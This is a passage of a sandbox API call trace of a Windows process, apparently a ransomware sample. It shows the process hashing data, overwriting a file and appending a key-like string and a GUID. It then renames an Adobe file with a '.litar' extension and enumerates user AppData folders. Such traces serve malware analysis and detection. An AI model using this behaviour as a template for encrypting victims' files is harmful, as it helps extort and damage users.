pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0127.364] GetLastError () returned 0x0 [0127.364] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0127.364] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0127.364] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0127.364] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa600) returned 0x30fa0b0 [0127.364] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0127.364] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.364] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0xa5fa, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0xa5fa, lpOverlapped=0x0) returned 1 [0127.364] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.364] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xa5ff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.364] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0127.364] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30557d8 [0127.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30557d8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0127.365] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0127.365] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30557d8 | out: hHeap=0x5c0000) returned 1 [0127.365] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0127.365] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0127.365] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.365] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.365] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0127.365] CloseHandle (hObject=0x624) returned 1 [0127.366] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e388 [0127.366] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8b0) returned 0x30fa0b0 [0127.366] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e388 | out: hHeap=0x5c0000) returned 1 [0127.366] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip.litar")) returned 1 [0127.367] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.367] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.368] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd16f0 | out: hHeap=0x5c0000) returned 1 [0127.368] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce824760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce824760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe5ab8070, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ReaderMessages", cAlternateFileName="READER~1")) returned 1 [0127.368] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30755c8 [0127.368] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xd6) returned 0x2fd16f0 [0127.368] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30755c8 | out: hHeap=0x5c0000) returned 1 [0127.368] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages") returned="" [0127.368] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd16f0 | out: hHeap=0x5c0000) returned 1 [0127.368] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 1 [0127.368] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bce70 [0127.368] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0127.368] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1c) returned 0x3076e68 [0127.368] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd1b8 [0127.368] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0127.368] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bce70 | out: hHeap=0x5c0000) returned 1 [0127.368] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 0 [0127.368] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0127.369] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0127.369] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075238 | out: hHeap=0x5c0000) returned 1 [0127.369] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0127.369] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bce70 [0127.369] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0127.369] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0127.369] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.369] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.369] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0127.369] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0127.369] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0127.369] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0127.369] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0127.369] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0127.369] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0127.369] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.369] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.369] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076ee0 | out: hHeap=0x5c0000) returned 1 [0127.369] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.369] PathFindFileNameW (pszPath="") returned="" [0127.369] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0127.370] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0127.370] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.370] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe Custom Dictionary", cAlternateFileName="ADOBEC~1")) returned 1 [0127.370] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe Custom Dictionary", cAlternateFileName="ADOBEC~1")) returned 0 [0127.370] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0127.371] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0127.371] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bce70 | out: hHeap=0x5c0000) returned 1 [0127.371] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0127.371] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0127.371] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="Content\\" [0127.371] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\") returned="CryptnetUrlCache\\" [0127.371] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0127.371] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0127.371] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0127.371] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.371] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.371] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0127.371] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.371] PathFindFileNameW (pszPath="") returned="" [0127.371] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0127.373] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.373] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.374] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf9eaad0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf9eaad0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf9eaad0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", cAlternateFileName="024823~1")) returned 1 [0127.375] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B") returned="" [0127.375] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.375] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53bd8410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bd8410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe98d390, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x561, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", cAlternateFileName="0F1583~1")) returned 1 [0127.375] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875") returned="" [0127.375] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.375] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf952550, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf952550, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf952550, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973", cAlternateFileName="1BB09B~1")) returned 1 [0127.375] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973") returned="" [0127.375] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.375] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x4c00edb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4c00edb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4c00edb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xf1d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1DAF2884EC4DFA96BA4A58D4DBC9C406", cAlternateFileName="1DAF28~1")) returned 1 [0127.375] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\1DAF2884EC4DFA96BA4A58D4DBC9C406") returned="" [0127.375] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3068fd8 | out: hHeap=0x5c0000) returned 1 [0127.375] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x580eb5c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x580eb5c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaedd4300, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x145, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="23B523C9E7746F715D33C6527C18EB9D", cAlternateFileName="23B523~1")) returned 1 [0127.375] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\23B523C9E7746F715D33C6527C18EB9D") returned="" [0127.375] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3068fd8 | out: hHeap=0x5c0000) returned 1 [0127.375] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xc3791460, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc3791460, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc3791460, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x209, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3130B1871A126520A8C47861EFE3ED4D", cAlternateFileName="3130B1~1")) returned 1 [0127.375] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\3130B1871A126520A8C47861EFE3ED4D") returned="" [0127.375] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3068fd8 | out: hHeap=0x5c0000) returned 1 [0127.375] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53fdc930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53fdc930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf16fc70, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x58b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D", cAlternateFileName="3388EC~1")) returned 1 [0127.375] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D") returned="" [0127.375] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.375] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53b19d30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53b19d30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54583d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1", cAlternateFileName="40E450~1")) returned 1 [0127.375] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1") returned="" [0127.375] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.375] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54537ab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54537ab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae76e7e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398", cAlternateFileName="4C8F84~1")) returned 1 [0127.375] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398") returned="" [0127.375] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.376] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x7295ee20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7295ee20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xadfb2060, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x680, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9", cAlternateFileName="4DD397~1")) returned 1 [0127.376] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9") returned="" [0127.376] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.376] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf8b9fd0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf8b9fd0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf8b9fd0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77", cAlternateFileName="5080DC~2")) returned 1 [0127.376] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77") returned="" [0127.376] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.376] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf86dd10, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf86dd10, 